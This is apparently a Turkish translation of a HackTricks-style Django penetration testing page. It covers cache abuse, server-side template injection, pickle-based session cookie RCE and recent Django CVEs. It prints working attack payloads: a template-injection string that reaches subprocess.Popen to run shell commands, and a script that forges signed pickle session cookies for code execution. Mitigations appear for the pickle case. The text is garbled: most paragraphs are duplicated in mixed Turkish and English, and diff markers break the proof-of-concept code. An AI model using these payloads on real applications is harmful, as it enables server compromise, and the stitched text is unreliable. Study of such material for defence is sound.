Django cache, dört yerden birinde saklanır: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), veya bir [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Redis sunucusunda veya veritabanında saklanan cache'ler en olası saldırı vektörleridir (Redis injection ve SQL injection), ancak bir saldırgan dosya tabanlı cache'i de keyfi bir yazmayı RCE'ye dönüştürmek için kullanabilir. Bakımcılar bunu önemsiz bir sorun olarak işaretlemişlerdir. Önemli olan, cache dosyası klasörü, SQL tablo adı ve Redis sunucu ayrıntılarının uygulamaya göre değişeceğidir.
Bu HackerOne raporu, SQLite veritabanında depolanan Django önbelleğini istismar etmenin harika, tekrarlanabilir bir örneğini sunmaktadır: https://hackerone.com/reports/1415436
Bu HackerOne raporu, SQLite veritabanında saklanan Django cache'inin sömürülebilmesine dair harika ve tekrar üretilebilir bir örnek sunuyor: https://hackerone.com/reports/1415436
---
## Sunucu Tarafı Şablon Enjeksiyonu (SSTI)
Django Şablon Dili (DTL) **Turing-tamamlayıcıdır**. Kullanıcıdan sağlanan veriler bir *şablon dizesi* olarak işlenirse (örneğin `Template(user_input).render()` çağrılarak veya `|safe`/`format_html()` otomatik kaçışları kaldırdığında), bir saldırgan tam SSTI → RCE elde edebilir.
## Server-Side Template Injection (SSTI)
The Django Template Language (DTL) **Turing-complete**'dir. Eğer kullanıcı kaynaklı veri bir *template string* olarak render edilirse (örneğin `Template(user_input).render()` çağrılarak veya `|safe`/`format_html()` otomatik kaçış(escaping)i kaldırdığında), bir saldırgan tam SSTI → RCE elde edebilir.
### Tespit
1. *Herhangi* bir temizlenmemiş istek verisini içeren `Template()` / `Engine.from_string()` / `render_to_string()` için dinamik çağrılara bakın.
2. Zaman tabanlı veya aritmetik bir yük gönderin:
1. `Template()` / `Engine.from_string()` / `render_to_string()` gibi çağrılarda *herhangi bir* temizlenmemiş istek verisinin dahil edilip edilmediğine bakın.
2. Zamana dayalı veya aritmetik bir payload gönderin:
```django
{{7*7}}
```
Eğer işlenen çıktı `49` içeriyorsa, giriş şablon motoru tarafından derlenmiştir.
Eğer render edilen çıktı `49` içeriyorsa, girdi şablon motoru tarafından derlenmiştir.
### RCE'ye Giden Yolda Primitif
Django, `__import__`'a doğrudan erişimi engeller, ancak Python nesne grafiğine erişim mümkündür:
### RCE İçin Primitive
Django doğrudan `__import__` erişimini engelliyor, ancak Python obje grafiğine ulaşılabilir:
```django
{{''.__class__.mro()[1].__subclasses__()}}
```
`subprocess.Popen`'ün indeksini bulun (Python derlemesine bağlı olarak yaklaşık 400500) ve rastgele komutları çalıştırın:
`subprocess.Popen`'un indeksini bulun (Python build'ine bağlı olarak ≈400500) ve keyfi komutlar çalıştırın:
```django
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
```
Daha güvenli evrensel bir alet, `cls.__name__ == 'Popen'` olana kadar yinelemektir.
Daha güvenli evrensel bir gadget, `cls.__name__ == 'Popen'` olana kadar yinelemektir.
Aynı alet, kullanıcı girişini yanlış işleyen **Debug Toolbar** veya **Django-CMS** şablon render özellikleri için de çalışır.
Aynı gadget, kullanıcı girdisini hatalı işleyen **Debug Toolbar** veya **Django-CMS** şablon render özellikleri için de çalışır.
---
### Also see: ReportLab/xhtml2pdf PDF export RCE
Django üzerine kurulmuş uygulamalar genellikle görünümleri PDF olarak dışa aktarmak için xhtml2pdf/ReportLab ile entegre olur. Kullanıcı kontrollü HTML PDF oluşturma akışına girdiğinde, rl_safe_eval üçlü köşeli parantezler `[[[ ... ]]]` içindeki ifadeleri değerlendirebilir ve kod yürütülmesine olanak sağlayabilir (CVE-2023-33733). Detaylar, payloads, and mitigations:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
{{#endref}}
---
## Pickle-Backed Session Cookie RCE
Eğer `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` ayarı etkinleştirilmişse (veya pickle'ı deseralize eden özel bir serileştirici), Django *oturum çerezini şifre çözer ve unpickle'lar* **herhangi bir görünüm kodunu çağırmadan önce**. Bu nedenle, geçerli bir imzalama anahtarına (varsayılan olarak projenin `SECRET_KEY`'i) sahip olmak, anında uzaktan kod yürütme için yeterlidir.
If the setting `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` is enabled (or a custom serializer that deserialises pickle), Django *decrypts and unpickles* the session cookie **before** calling any view code. Therefore, possessing a valid signing key (the project `SECRET_KEY` by default) is enough for immediate remote code execution.
### Exploit Gereksinimleri
* Sunucu `PickleSerializer` kullanıyor.
* Saldırgan `settings.SECRET_KEY`'yi biliyor / tahmin edebiliyor (GitHub, `.env`, hata sayfaları vb. üzerinden sızıntılar).
### Exploit Requirements
* The server uses `PickleSerializer`.
* The attacker knows / can guess `settings.SECRET_KEY` (leaks via GitHub, `.env`, error pages, etc.).
### Kanıt-Konsept
### Proof-of-Concept
```python
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
@ -58,22 +67,23 @@ return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
```
Gönderilen çerez, WSGI işçi izinleriyle çalıştırılır.
Ortaya çıkan cookie'yi gönderin; payload WSGI worker'ın izinleriyle çalıştırılır.
**Önlemler**: Varsayılan `JSONSerializer`'ı koruyun, `SECRET_KEY`'i döndürün ve `SESSION_COOKIE_HTTPONLY`'yu yapılandırın.
**Önlemler**: Varsayılan `JSONSerializer`'ı kullanmaya devam edin, `SECRET_KEY`'i düzenli olarak değiştirin ve `SESSION_COOKIE_HTTPONLY`'ı yapılandırın.
---
## Son (2023-2025) Yüksek Etkili Django CVE'leri Pentester'ların Kontrol Etmesi Gerekenler
* **CVE-2025-48432** *Kaçırılmamış `request.path` üzerinden Log Enjeksiyonu* (4 Haziran 2025'te düzeltildi). Saldırganların log dosyalarına yeni satırlar/ANSI kodları sokmasına ve aşağı akış log analizini zehirlemesine olanak tanır. Yamanın seviyesi ≥ 4.2.22 / 5.1.10 / 5.2.2.
* **CVE-2024-42005** *Kritik SQL enjeksiyonu* `QuerySet.values()/values_list()` üzerinde `JSONField` (CVSS 9.8). JSON anahtarlarını, alıntıdan çıkmak ve keyfi SQL çalıştırmak için oluşturun. 4.2.15 / 5.0.8'de düzeltildi.
## Son (2023-2025) Yüksek Etkili Django CVE'leri — Pentesters'in Kontrol Etmesi Gereken
* **CVE-2025-48432** *Log Injection via unescaped `request.path`* (4 Haz 2025'te düzeltildi). Saldırganların log dosyalarına yeni satır karakterleri/ANSI kodları sızdırmasına ve sonraki log analizlerini bozmasına izin verir. Yama seviyesi ≥ 4.2.22 / 5.1.10 / 5.2.2.
* **CVE-2024-42005** *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Alıntılamadan çıkmak ve rastgele SQL çalıştırmak için JSON anahtarları oluşturun. Düzeltildi: 4.2.15 / 5.0.8.
Her zaman `X-Frame-Options` hata sayfası veya `/static/admin/css/base.css` hash'i aracılığıyla tam çerçeve sürümünü parmak iziyle tanımlayın ve yukarıdakileri uygun olduğunda test edin.
Framework'ün tam sürümünü her zaman `X-Frame-Options` hata sayfası veya `/static/admin/css/base.css` hash'i ile tespit edin ve yukarıdakileri uygun olduğunda test edin.
---
## Referanslar
* Django güvenlik sürümü "Django 5.2.2, 5.1.10, 4.2.22 CVE-2025-48432'yi ele alıyor" 4 Haziran 2025.
* OP-Innovate: "Django, SQL enjeksiyon açığını gidermek için güvenlik güncellemeleri yayınladı CVE-2024-42005" 11 Ağustos 2024.
* Django güvenlik sürümü "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" 4 Haz 2025.
* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" 11 Ağu 2024.
* 0xdf: University (HTB) Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
{{#include ../../banners/hacktricks-training.md}}